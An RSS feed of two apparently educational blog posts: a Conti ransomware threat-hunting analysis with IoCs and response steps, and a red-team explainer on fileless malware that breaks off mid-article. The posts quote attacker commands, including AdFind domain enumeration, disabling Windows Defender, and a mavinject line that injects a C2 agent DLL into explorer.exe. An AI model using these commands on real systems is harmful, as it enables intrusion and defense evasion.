<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shereen on Medium]]></title>
        <description><![CDATA[Stories by Shereen on Medium]]></description>
        <link>https://medium.com/@shereenvf?source=rss-b960512f88f8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*iT-v0AAARTPVseu4KJHrOw@2x.jpeg</url>
            <title>Stories by Shereen on Medium</title>
            <link>https://medium.com/@shereenvf?source=rss-b960512f88f8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 14:25:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shereenvf/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Unraveling Conti Ransomware]]></title>
            <link>https://medium.com/@shereenvf/unraveling-conti-ransomware-cf8594ddae77?source=rss-b960512f88f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf8594ddae77</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Shereen]]></dc:creator>
            <pubDate>Wed, 11 Sep 2024 02:39:33 GMT</pubDate>
            <atom:updated>2026-04-10T06:47:36.446Z</atom:updated>
            <content:encoded><![CDATA[<h3>Unravelling Conti Ransomware</h3><h3>Conti &amp; Variants Ransomware: An Overview</h3><p>Sharing source code can foster collaboration but also lead to havoc. This is particularly evident in ransomware, where the release of Conti’s source code has enabled threat actors to create new strains, such as:</p><ul><li>BlackHunt [<a href="https://securelist.com/state-of-ransomware-2023/112590/">SecureList by Kaspersky</a>]</li><li>LockBit Green, Akira [<a href="https://www.symantec.broadcom.com/hubfs/Symantec_Ransomware_Threat_Landscape_2024.pdf">Symantec</a>]</li><li>ScareCrow, BlueSky, and Meow [<a href="https://hivepro.com/threat-advisory/new-ransomware-variants-created-using-leaked-conti-source-code/">HivePro</a>]</li></ul><p>This article takes a proactive threat-hunting approach, focusing on early indicators of compromise (IoC) detection. Analyzing forensic evidence and IoCs aims to demonstrate how threat hunting can stay ahead of these evolving ransomware variants.</p><h3>‭Preparation‬</h3><p>The sample data was a collection of</p><ul><li>memory dumps (.dmp)</li><li>logs (KAPE, MDE)</li><li>packet captures (.pcap)</li><li>files</li></ul><h4>Tools Used</h4><ul><li><strong>Wireshark</strong>: For network traffic analysis</li><li><strong>Splunk:</strong> For log analysis</li><li><strong>Volatility</strong>: For memory analysis</li><li><strong>Python</strong>: For data manipulation &amp; visualization</li></ul><p>This article will only provide partial analyses to scratch the surface of threat hunting. References for extensive analyses are included.</p><h3>Detection and Analysis‬</h3><p><strong>Network :: Wireshark<br></strong>Identifying anomalies in network traffic is a key starting point for detecting active threats. There were several hypotheses, that can be inferred, from the packet analysis.</p><p>Initial packet analysis revealed several protocols commonly exploited by adversaries:</p><ul><li><strong>SMB</strong>: Shared access to files and resources</li><li><strong>NetBIOS Session Service (NBSS)</strong>: Heavy data traffic transmission</li><li><strong>DCE/RPC</strong>: Remote procedure calls</li><li><strong>SSDP</strong>: Device communication and discovery</li></ul><p><strong>TTP-Based Threat Hunting Hypotheses</strong>:</p><ul><li><strong>Discovery</strong><br><strong>&gt; </strong>Adversaries may attempt to gather information on domains for lateral movement. (<a href="https://attack.mitre.org/techniques/T1482/">T1482</a>)</li><li><strong>Defense Evasion<br>&gt; </strong>Adversaries may maliciously modify components of a target’s environment to impair defensive mechanisms. (<a href="https://attack.mitre.org/techniques/T1562/">T1562</a>)<br><strong>&gt; </strong>Adversaries may bypass defenses by proxying execution through trusted binaries. (<a href="https://attack.mitre.org/techniques/T1218/">T1218</a>, <a href="https://attack.mitre.org/techniques/T1218/011/">T1218.011</a>)</li><li><strong>Privilege Escalation, Defense Evasion<br>&gt;</strong> Process injection techniques may execute payloads within legitimate processes. <strong>(</strong><a href="https://attack.mitre.org/techniques/T1055/">T1055</a>)</li><li><strong>Command &amp; Control<br>&gt; </strong>C2 traffic may be disguised using protocol impersonation techniques. <strong>(</strong><a href="https://attack.mitre.org/techniques/T1001/003/">T1001.003</a>)<br><strong>&gt; </strong>Leveraged DNS queries to communicate with adversary infrastructure. (<a href="https://attack.mitre.org/techniques/T1071/004/">T1071.004</a>)</li></ul><p>So, I analyzed network traffic to identify IoCs by filtering HTTP request hosts and DNS responses.<br>The following IoCs stood out:</p><pre>239.255.255.250:1900 ;; SSDP multicast -- sample tagged ENEMYBOT/GAFGYT in threat intel<br>88.80.147.101 ;; malicious<br>musertwoolion.ru ;; hancitor C2<br>pingerrhospea.com ;; hancitor C2 ; omh.dll<br>sanduallsocco.ru ;; hancitor C2<br><br>Search Engines: VirusTotal, Hybrid Analysis, Malware Bazaar</pre><blockquote><strong><em>Note on 239.255.255.250:1900</em></strong> <em><br>It’s standard UPnP/SSDP multicast address. Anomaly is not service address itself but how it’s exploited</em></blockquote><p>On further investigation of the address 88.80.147.101 , I find its DNS resolves to gmbfrom.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*L9Z_oEWshbpbE3Pa" /><figcaption>Wireshark: DNS response</figcaption></figure><p>This led to insights about Conti’s infrastructure through Trickbot and Cobalt Strike.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/0*l483kNfWtp5RSxsY" /><figcaption><a href="https://www.virustotal.com/graph/gc204458ce146474dad9e4b74efc1ab366645c653498e40f1946c7a0699cb5ffd">BazarCall to Conti Ransomware via Trickbot and Cobalt Strike</a></figcaption></figure><p>Following the TCP traffic of 88.80.147.101 raised an immediate question: why is a NetDNA-cacher server requesting a jquery script from an anomalous IP?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K3r93Klwrxz6xv4J6F7ZTw.png" /><figcaption>Wireshark: NetDNA-cache jquery</figcaption></figure><p>The short answer is protocol impersonation via malleable C2 profiles.</p><p>The <em>long</em> answer is malware developers have created malleable C2 profiles that allow operators to modify beaconing patterns so traffic mimics legitimate application traffic — in this case, jQuery request[<a href="https://github.com/BC-SECURITY/Malleable-C2-Profiles/blob/master/Normal/jquery-c2.4.2.profile">check out BC-Security’s jQuery Malleable C2 Profile</a>].</p><p>This adaptability complicates detection efforts as the traffic blends into normal HTTP patterns. This verifies (T1001.003) since beacon reshapes its traffic to look like a known protocol.</p><blockquote><em>✓ </em><strong><em>(T1001.003) CONFIRMED</em></strong><em> — C2 beacon traffic disguised as jQuery requests via Cobalt Strike malleable C2 profile</em></blockquote><blockquote><em>✓ </em><strong><em>(T1071.004) CONFIRMED</em></strong><em> — DNS queries to </em><em>gmbfrom.com leveraged to reach adversary infrastructure</em></blockquote><p><strong>Logs :: Splunk</strong></p><p>Logs provide perspective into an attack’s lifecycle. Using Splunk, I analyze MDE logs, aligning the search with the hypotheses presented earlier.</p><p>Analyzing remote IP traffic in the logs revealed149.248.52.187 — a low-frequency IP consistent with periodic beaconing. Threat intel associated it to another Conti infra cluster,onlineworkercz.com .</p><blockquote><em>✓ </em><strong><em>(T1071.004) CONFIRMED</em></strong><em> — DNS queries to </em><em>onlineworkercz.com leveraged to reach adversary infrastructure</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*pb8_yjUAYhNqBIb1" /><figcaption>Splunk: Remote IP from MDE log file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/0*-pb5PbkDxelwbMtR" /><figcaption><a href="https://www.virustotal.com/graph/gc204458ce146474dad9e4b74efc1ab366645c653498e40f1946c7a0699cb5ffd">BazarCall to Conti Ransomware via Trickbot and Cobalt Strike</a></figcaption></figure><p>To validate the process injection hypothesis, I analyzed logs associated with 149.248.52.187 and found a series of suspicious process lineages. <br>In the example below, we can see <strong>parent process </strong>03216de.exe spawns rundll32.exe .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/0*ma2E6jYQ4nSszm96" /><figcaption>Splunk: Spawned process</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4bNsqoJ1RXFbM40sUJmu7Q.png" /><figcaption>Hybrid Analysis: rundll32.exe</figcaption></figure><p>Hybrid Analysis cross-reference confirmed rundll32.exe loading ieframe.dllwith an anomalous URL argument . Since rundll32.exe is a legitimate binary exploitable for Living-off-the-Land attacks, this confirms Defense Evasion via System Binary Proxy Execution (T1218.011).</p><blockquote><em>✓ </em><strong><em>H3 (T1218.011) CONFIRMED</em></strong><em> — </em><em>rundll32.exe loading ieframe.dll with anomalous URL argument via </em><em>03216de.exe parent</em></blockquote><p>Check out my article on <a href="https://medium.com/@shereenvf/fileless-malware-on-windows-linux-32277f106205">Fileless Malware on Windows &amp; Linux</a>!</p><blockquote><strong><em>T1218.011 vs T1055 — an important distinction<br></em></strong><em>The spawn chain 03216de.exe → rundll32.exe is evidence of proxy execution (T1218.011), not process injection (T1055). A parent spawning a child is execution. Process injection (T1055) is writing code into an existing process’s memory — that evidence comes from memory analysis in the Volatility section.</em></blockquote><p>Filtering process events by earlier network IoC 88.80.147.101showed a cluster of similarly named executables (tdrE934.exe, tdr2269.exe, tdr5BDD.exe, tdr615.exe) as initiating processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*p0OgQrzsEwkB0lnO" /><figcaption>Splunk: Initiating Process Command Line</figcaption></figure><p>The suspicious executables were found spawned by <strong>wermgr.exe</strong> (Windows Problem Reporting) — a legitimate Windows OS process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/0*-IOqgaqLolLEU4DX" /><figcaption>Splunk: Spawned Proces</figcaption></figure><blockquote><em>Note: wermgr.exe is </em><strong><em>not</em></strong><em> a LOLBin and is not listed on LOLBAS. <br>Its role here is as a host process that was injected into (T1055) — covered in the memory section — not as a proxy execution vehicle (T1218). This distinction matters for accurate TTP mapping and detection rule targeting.</em></blockquote><p>Since the infected machine is Windows-based, I also looked for encoded Powershell commands and found base64-encoded commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KI5radTK56PSQePg" /><figcaption>Splunk: Encoded Powershell</figcaption></figure><p>which decoded to:</p><pre>Invoke-WebRequest -Uri https://mb-api.abuse.ch/api/v1/ -Method POST -Body &quot;query=get_file&amp;sha256_hash=87402c2ee3595cd862dbb82648aa9ebf17d41ceb05f912e50493d9ba96acb9a4&quot; -outfile C:\users\1.zip<br> .</pre><p>At first, one would think it’s obfuscated malicious code given the SHA256 hash code, but a closer look shows this is forensic investigators’ trail because:</p><ol><li>parent process isVelociraptor.exe — a DFIR collection platform</li><li>URI abuse.ch is MalwareBazaar</li><li>POST method is querying MB’s database using a file’s hash</li></ol><p>Having the SHA256 hash helps identify our Trickbot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*N25V2Vvm-bpBkCPN" /><figcaption>Hybrid Analysis Result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OBZjBonoCnzc4lxB" /><figcaption>MalShare Result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*45c7lnr82S0DyNih" /><figcaption>MalwareBazaar Result</figcaption></figure><p>To verify the Discovery tactic hypothesis, I filteredcmd.exe OR powershell.exe logs for adfind.exe where some commands included:</p><pre>adfind.exe -gcb -sc trustdmp<br>adfind.exe -sc trustdmp</pre><p>Although a legitimate software, it is often used for Active Directory enumeration. In this case, AdFind in C:\Windows\Temp\adf\adfind.exe with trustdump arguments is a high-confidence malicious indicator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PE7dhlFc4mkGrtfLQvuCkg.png" /><figcaption>Splunk: adfind.exe</figcaption></figure><p>To corroborate, I searched for BloodHound and found it written to C:\Windows\Temp\Dogi . 🚩🐕</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uDg81epKgagK4sNfkct06Q.png" /><figcaption>Splunk: BloodHound</figcaption></figure><p>Additionally, filtering for adfind.exe PID led to finding the disablement of Windows Defender MpCmdRun.exe -DisableService</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Ay9-5HZLqkNdO68A1LFCA.png" /><figcaption>Splunk: Disabling Windows Defender Antivirus</figcaption></figure><blockquote><strong><em>(T1482) CONFIRMED</em></strong><em> — Information gathered on domain through AdFind trustdump commands + BloodHound staged in C:\Windows\Temp\Dogi</em></blockquote><blockquote><strong><em>(T1562) CONFIRMED</em></strong><em> — Impaired defensive mechanism for defense evasion via </em><em>MpCmdRun.exe -DisableService ; Windows Defender explicitly disabled</em></blockquote><p>Now that some notable PIDs have been gathered, I can analyze memory.</p><p><strong>Memory :: Volatility</strong></p><p>Memory analysis shows adversary activity that resides in volatile memory, which is specifically designed to evade disk-based detection.</p><p>Firstly, with intel gathered so far, I extracted DLLs to check which processes ran most frequently. Below are some results I drew up using Python; you can find the Jupyter Notebook on <a href="https://colab.research.google.com/drive/1XAlKKfAQOHYvtXH8OMU2rbAZGNgOjl3x?usp=sharing">Collab</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*iyxJT5HlvTdhpspjdzLFPg.png" /><figcaption>Most Common Processes running DLLs</figcaption></figure><p>All these processes make sense since they are considered legitimate (exploitable) executables.</p><p>So following up on the LOLBins (rundll32.exe) lead, I cross-referenced processes that can be LOTL from <a href="https://lolbas-project.github.io/#">LOLBAS</a>, filtered them and looked at their child processes. <br>I also added 2 of the IoCs to compare the number of processes spawned between these 2 types of programs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KqOfgxwftXbmVnJqBSLK4A.png" /><figcaption>No. of Spawned Processes vs Process</figcaption></figure><blockquote><strong><em>Note: </em></strong><em>This was done on a small scale for PoC and visualization; the processes that spawned IoCs </em><em>tdr*.exe do not necessarily exist on LOLBAS, like </em><em>wermgr.exe , making it a strong candidate for injection rather than proxy execution.</em></blockquote><p>Another approach to confirm process injection hypothesis is analysing memory dumps specifically for wermgr.exe (PID: 748) using the below Volatility3 command:</p><pre>python3 vol.py -f dmps/WIN81–20210614–115233.dmp windows.memmap --pid 748 --dump</pre><p>This shows exactly which pages are memory resident, which yields results in the following structure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*K9Tr7qnwkYHfZU6jPe7PvA.png" /><figcaption>Volatility: memmap</figcaption></figure><p>Then, filter out https in the output file via:</p><pre>strings pid.748.dmp | grep https</pre><p>This led to additional IoCs, including a straightforward Conti.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z0AhL1V09LXk7Y00i6SN5A.png" /><figcaption>Volatility: Additional IoCs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*ndFJNL-EYLjFY2Y3s45F_g.png" /><figcaption>Volatility: Conti</figcaption></figure><blockquote><strong><em>(T1055) STRONGLY INDICATED</em></strong><em> — </em><em>contirecovery.xyz in </em><em>wermgr.exe (PID 748) memory. <br>Finding strings in a memory dump proves those strings were in the process’s address space — it does not by itself prove injection. Run </em><em>malfind on PID 748 to confirm.</em></blockquote><h3>‭Containment, Eradication, and Recovery‬</h3><p>Based on threat-hunting findings, here are critical steps for effective containment:</p><ol><li><strong>T1055</strong>:</li></ol><ul><li><strong>Containment</strong>: Isolate host from network. Take memory snapshot.</li><li><strong>Eradication</strong>: Run malfind on snapshot to confirm no other processes carry RWX regions. Terminate confirmed injected PIDs.</li><li><strong>Recovery</strong>: Reimage from a clean baseline predating the compromise window. Validate integrity before returning to production.</li></ul><p><strong>2. T1562</strong>:</p><ul><li><strong>Containment</strong>: Re-enable Defender via GPO push or remote admin from a clean host. Confirm service state.</li><li><strong>Recovery</strong>: Confirm Defender is running and current across all hosts, not just the one identified.</li></ul><p><strong>3. T1218.011</strong>:</p><ul><li><strong>Containment</strong>: Isolate the affected host. Block outbound connections from rundll32.exe on host.</li><li><strong>Eradication</strong>: Audit intrusion window invocations and remove persisted run keys</li><li><strong>Recovery</strong>: EDR sweep for remaining anomalous rundll32.exe invocations across environment.</li></ul><p><strong>4. T1482</strong>:</p><ul><li><strong>Containment</strong>: Disable/reset accounts observed executing AdFind and BloodHound. Kill active sessions.</li><li><strong>Eradication</strong>: Remove staged copies of Adfind and Bloodhound from C:\Windows\Temp\adf\ and C:\Windows\Temp\Dogi.</li><li><strong>Recovery</strong>: Reset credentials for accounts from recovered BloodHound data. Remediate excessive group memberships</li></ul><p><strong>5. Protocol Impersonation (T1090.004)</strong> and <strong>DNS C2 Communication (T1071.004)</strong>:</p><ul><li><strong>Containment</strong>: Null-route C2 IPs at firewall, sinkhole C2 domains via DNS.</li><li><strong>Eradication</strong>: Block all IoCs at perimeter and DNS resolver, confirm no active beaconing.</li><li><strong>Recovery</strong>:</li></ul><h3>‭Post-Incident Activity‬</h3><p>There are multiple things to be done here to lessen the probability of such incident from recurring, but I’m focusing on 2 main ones:</p><ol><li><strong>Detection Engineering<br></strong>&gt; Sigma rules are standard detection logic (or “detection as code”), allowing usage of detection rules across various SIEM platforms. They focus on behaviour in logs.<br>&gt; YARA rules match patterns in files and memory.<br>&gt; Both types of rules for this attack can be found in <a href="https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/">BazarCall to Conti Ransomware via Trickbot and Cobalt Strike DFIRReport</a>.</li><li><strong>EDR/MDR/XDR<br></strong>&gt; Evasion techniques used in this hunt were designed to defeat static detection. This is why scaled behavioral analysis is a must through EDR; which detect what processes <strong>do</strong> rather than relying only on their signatures. MDR and XDR extend this to network and cross-domain correlation, reducing the dwell time that makes Conti-like intrusions destructive.</li></ol><h3>Conclusion</h3><p>The <strong>Conti ransomware</strong> attack shows how techniques like <strong>process injection</strong> and <strong>C2 communication</strong> evade defenses. <strong>Proactive threat hunting</strong> detects these hidden TTPs early, reducing dwell time and strengthening defenses against future threats.</p><p>From this hunt, I derived PoC <strong>Sigma rules</strong> for <strong>rundll32.exe process injection</strong> and <strong>BloodHound via AdFind</strong>, tailored to the patterns identified.</p><ul><li><a href="https://github.com/svf97/threat-hunting/blob/main/sigma-rules/detect-rundll32-process-injection-poc.yaml">threat-hunting/sigma-rules/detect-rundll32-process-injection-poc.yaml at main · svf97/threat-hunting</a></li><li><a href="https://github.com/svf97/threat-hunting/blob/main/sigma-rules/detect-bloodhound-via-adfind.yaml">threat-hunting/sigma-rules/detect-bloodhound-via-adfind.yaml at main · svf97/threat-hunting</a></li></ul><h3>References</h3><h4>Conti via Trickbot &amp; Cobalt Strike</h4><ul><li><a href="https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/">BazarCall to Conti Ransomware via Trickbot and Cobalt Strike</a></li><li><a href="https://www.chrisstewart.ca/conti-ransomware-indicators-of-compromise/">Conti Group - Indicators of Compromise - Chris Stewart</a></li><li><a href="https://any.run/malware-trends/trickbot">Trickbot | Malware Trends Tracker</a></li><li><a href="https://www.hybrid-analysis.com/sample/075c9b873bef7eb13260f9fc12b337b3ee74e1c7b80603735b7a598687c184ce?environmentId=120">Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for &#39;omh.dll&#39;</a></li><li><a href="https://medium.com/@simone.kraus/why-conti-has-changed-incident-response-and-why-its-not-over-289974b1e8da">Why CONTI has changed incident response — and why it’s not over</a></li></ul><h4>Malleable C2</h4><ul><li><a href="https://github.com/BC-SECURITY/Malleable-C2-Profiles/blob/master/Normal/jquery-c2.4.2.profile">Malleable-C2-Profiles/Normal/jquery-c2.4.2.profile at master · BC-SECURITY/Malleable-C2-Profiles</a></li><li><a href="https://community.netwitness.com/t5/netwitness-community-blog/detecting-c-amp-c-malleable-profiles/ba-p/607072">Detecting C&amp;C Malleable Profiles</a></li></ul><h3>Appendix</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*10MVC1gKhkDTe_C-iZZvQw.png" /><figcaption>Hunt IoCs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*jGoki-cTPfL0pyn6dBKvkw.png" /><figcaption>Hunt MITRE Techniques</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*s6iVdIKguFRfMfYhE9Yqgg.png" /><figcaption>Hunt MITRE Software</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf8594ddae77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fileless Malware on Windows & Linux]]></title>
            <link>https://medium.com/@shereenvf/fileless-malware-on-windows-linux-32277f106205?source=rss-b960512f88f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/32277f106205</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[defense-evasion]]></category>
            <category><![CDATA[fileless-malware]]></category>
            <dc:creator><![CDATA[Shereen]]></dc:creator>
            <pubDate>Mon, 19 Aug 2024 14:51:03 GMT</pubDate>
            <atom:updated>2024-08-19T14:52:25.935Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fileless Attacks: An Overview</h3><p>Traditional attacks involve downloading malicious files, which are usually easier to detect through signature and behavioural analysis. Fileless attacks, on the other hand, avoid these methods by being in-memory.<br>This allows them to blend in with legitimate processes to evade analysis and leave minimal traces.</p><p>In this article, I’ll cover what fileless attacks are, and how they are implemented from Red-team POV for both Windows &amp; Linux.</p><p><strong>NOTE:</strong> These articles are solely for educational purposes.</p><p>They say, sometimes the best defense is a good offense. So, to protect systems, sometimes you need to know how they are built and how they can be broken.</p><p>Let’s just be clear, fileless attacks aren’t exactly 100% fileless, the payload has to be dropped at some point in the attack. It’s where they are dropped that makes them look fileless. I’ll elaborate on this more under the Red Team Perspective.</p><h3>Red Team Perspective</h3><p>A couple of assumptions were considered throughout this article, so I want to start by laying down the phases of a cyber kill chain and then discuss some tactics, techniques, and procedures (TTPs).</p><h4>Cyber Kill Chain</h4><p>Generally, adversaries want access to an account that contains sensitive data. To do so, the cyber kill chain provides a high-level overview of an attack’s phases as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*SB9T8WI88uwae7Z5" /><figcaption>Cyber Kill Chain</figcaption></figure><ul><li><strong>Reconnaissance</strong>: Assess the situation to identify targets and tactics.</li><li><strong>Intrusion</strong>: Leverage malware or vulnerabilities to get into systems.</li><li><strong>Exploitation</strong>: Exploit vulnerabilities to deliver malicious code and gain a foothold.</li><li><strong>Privilege Escalation</strong>: Gain more access and permissions.</li><li><strong>Lateral Movement</strong>: Move to other systems and accounts to increase leverage.</li><li><strong>Obfuscation / Anti-forensics</strong>: Cover tracks to hinder forensics.</li><li><strong>Denial of Service</strong>: Disrupt normal access for users and systems to stop the attack from being monitored or blocked.</li><li><strong>Exfiltration</strong>: Extract data from the compromised system.</li></ul><p>Based on the reconnaissance stage, TTPs can be derived to plan and implement the following stages.</p><h4>The MITRE Perspective</h4><p>Having looked at the high-level view of a cyber attack, we can dive into the TTPs that can be used for our target systems.</p><p>According to the<a href="https://attack.mitre.org/"> MITRE ATT&amp;CK Framework</a>, TTPs can be defined as:</p><ul><li><strong>technique</strong>: ‘how’ to achieve a goal; the action to be performed</li><li><strong>tactic</strong>: ‘why’ of a (sub)-technique; the goal to be achieved</li><li><strong>procedure</strong>: ‘what’ of a technique; the implementation for a technique</li></ul><p>In other words, we can view them as demonstrated below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*40Y2IbLVrXM1bJfx" /><figcaption>TTP Example</figcaption></figure><p>Overall, TTPs are how we categorize and define our actions within the chain.</p><p>Additionally, the MITRE Framework covers TTPs for Enterprise, Mobile, and Industrial Control Systems (ICS). There can be overlaps across systems, but throughout this article, I’ll be focusing on Enterprise.</p><p>Below are descriptions of Enterprise Tactics; notice how the cyber kill chain stages are also listed as tactics:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*M9bFPBZd-lHo8TL1" /><figcaption>MITRE ATT&amp;CK Enterprise Tactics</figcaption></figure><p>The MITRE ATT&amp;CK framework provides a detailed taxonomy of fileless attack methods.</p><p>Some key techniques associated with fileless attacks that target Linux, MacOS and Windows, among other platforms include:</p><ul><li><a href="https://attack.mitre.org/techniques/T1218/">Signed Binary Proxy Execution (T1218):</a> Abusing signed system binaries to execute malicious code.<br>&gt; <strong>Tactic(s):</strong> Defense Evasion</li><li><a href="https://attack.mitre.org/techniques/T1129/">Shared Modules (T1129):</a> Injecting malicious code into legitimate processes.<br>&gt; <strong>Tactic(s):</strong> Execution</li><li><a href="https://attack.mitre.org/techniques/T1548/">Abuse Elevation Control Mechanism (T1548):</a> Leveraging system utilities to escalate privileges.<br>&gt; <strong>Tactic(s): </strong>Privilege Escalation, Defense Evasion</li><li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading (T1620)</a>: Injecting payloads directly within the process’s memory, evading process-based detections.<br>&gt; <strong>Tactic(s)</strong>: Defense Evasion</li></ul><p>From a red-team perspective, fileless attacks offer several advantages:</p><ol><li><strong>Bypass File-Based Detection:</strong> Avoid dropping files on disk to evade traditional, file-based detection.</li><li><strong>Leverage Legitimate Processes: </strong>Mimic built-in tools and legitimate system processes to blend in.</li><li><strong>Dynamic and Evasive: </strong>Modify behaviour and payload in memory to bypass static detection.</li><li><strong>Evade Forensic Analysis: </strong>Leave minimal traces, disappearing on reboot to hinder investigations.</li></ol><p>For this article, I’m implementing Proof of Concept (PoC) on how fileless attacks can be used for defence evasion or anti-forensics; I’m assuming other stages of the cyber kill chain have already been/are yet to be fulfilled.</p><p>So let’s dive into examples of how fileless attacks can be conducted for both Linux &amp; Windows, using memfd_create<strong>[T1620] &amp; </strong>LOLBins <strong>[T1218]</strong>, respectively.</p><h3>Fileless Attack on Linux</h3><p>Since this is an in-memory attack, I’ll utilize memfd_create and fexecve. In a nutshell,<a href="https://man7.org/linux/man-pages/man2/memfd_create.2.html">memfd_create</a> creates a RAM-based anonymous file and returns a file descriptor referring to it. And <a href="https://man7.org/linux/man-pages/man3/fexecve.3.html">fexecve</a> executes files using their file descriptors rather than their pathname.</p><p>It’s like having someone point at something specific in a crowded room; a needle in a haystack.</p><p>So here’s a PoC for how a fileless malware would be built for a Linux-based target using CPP:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/75066cc1270f2110cffb4a0086cda4ca/href">https://medium.com/media/75066cc1270f2110cffb4a0086cda4ca/href</a></iframe><p>There are several ways to try and look for artifacts from this script. <br>For example, <a href="https://man7.org/linux/man-pages/man8/lsof.8.html">lsof</a>, a linux command to list open files:<br>lsof | grep casper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/0*Z33FKxtAO3B4865I" /><figcaption>casper is !found</figcaption></figure><p>But since the file created is in memory, it won’t be listed.</p><p>Another method is to list processes using <a href="https://man7.org/linux/man-pages/man1/ps.1p.html">ps</a> : <br>ps -ef to write information for all processes and generate a full listing. <br>If you search for casper in the terminal, as shown below, it will also not be listed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*32tihNJCxTCz6hg-" /><figcaption>casper is !found</figcaption></figure><p>There are, however, limitations to the script above because if you run <br>ps -ef | grep casper<br>You’ll be able to see casper just fine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*qQMy60Pp9h_LMsTo" /><figcaption>casper is found</figcaption></figure><p>A way around this would be to modify the above code to use the system call<a href="https://man7.org/linux/man-pages/man2/clone.2.html"> </a><a href="https://man7.org/linux/man-pages/man2/clone.2.html">clone</a> to inherit parent’s PID, memory, and file descriptors, thus hiding as a child process.</p><h3>Fileless Attack on Windows</h3><p>On Windows systems, fileless attacks often leverage Windows features like PowerShell and LOLBINs (Living Off the Land Binaries).<br>LOLBins are legitimate binaries or executables native to an operating system, repurposed for malicious activities. Find known exploitable Windows binaries, scripts and libraries on <a href="https://lolbas-project.github.io/">LOLBAS</a>.</p><p>In the example below, I’ll demonstrate how the payload sandcat.dll can hide behind the processexplorer.</p><p>I’ll be utilizing:<br>-<a href="https://lolbas-project.github.io/lolbas/Binaries/Mavinject/"> mavinject.exe</a>: Used by App-v in Windows. Detailed deconstruction<a href="https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e"> here</a>.<br>- MITRE’s Caldera: for adversary operations. Check out my article on<a href="https://medium.com/@shereenvf/setting-up-command-control-c-c-with-caldera-83fe88be8f0d"> how to set up C2 using Caldera</a>.</p><p>The command for mavinject is:<br>mavinject.exe PID /INJECTRUNNING c:\folder\payload.dll</p><p>So I’ve created a Caldera Operation that has the mavinject ability for defense evasion, which translates to running the following on the target’s Powershell:</p><pre>$explorer = Get-Process -Name explorer;mavinject.exe $explorer.id Z:\sandcat.dll</pre><p>And if we’re looking at the surface, we’ll only see explorer running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/0*1N7p12Pn6eZnSjwz" /><figcaption>List Processes</figcaption></figure><h3>Fileless Attacks on Containers</h3><p>Containers 